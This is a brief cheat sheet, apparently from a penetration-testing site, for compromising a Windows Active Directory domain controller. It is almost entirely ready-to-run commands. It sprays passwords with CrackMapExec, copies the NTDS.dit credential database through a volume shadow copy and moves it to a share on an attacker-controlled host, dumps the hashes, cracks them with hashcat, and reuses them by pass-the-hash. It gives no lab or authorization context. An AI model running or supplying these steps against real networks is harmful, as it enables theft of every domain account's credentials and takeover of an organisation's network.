Active Directory is a directory service used to manage resources on Windows-based corporate networks. Domain controllers (DCs) handle authentication requests, credential storage, and security policies.
The NTDS.dit file on the DC stores password hashes for domain accounts and domain schema information.
Attacks and Techniques Attack with CrackMapExec terminal Copy
$ crackmapexec smb <IP_DC> -u <usuario> -p <lista_contraseñas>User lists can be created using public information:
terminal Copy
$ ./username-anarchy -i names.txtCapturing the NTDS.dit File Typical location: %systemroot%\ntds\NTDS.dit
Connect to the DC with Evil-WinRM: terminal Copy
$ evil-winrm -i <IP_DC> -u <usuario> -p <contraseña>Create a volume shadow copy (VSS): powershell Copy
vssadmin CREATE SHADOW /For=C:powershell Copy
cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.ditTransfer it to the attacking host: powershell Copy
cmd.exe /c move C:\NTDS\NTDS.dit \\<IP_ATACANTE>\CompDataCapture with CrackMapExec (Automatic) terminal Copy
$ crackmapexec smb <IP_DC> -u <usuario> -p <contraseña> --ntdsCracking Hashes terminal Copy
$ hashcat -m 1000 hashes.txt ~/rockyou.txtPass-the-Hash terminal Copy
$ evil-winrm -i <IP_DC> -u <usuario> -H "<hash>"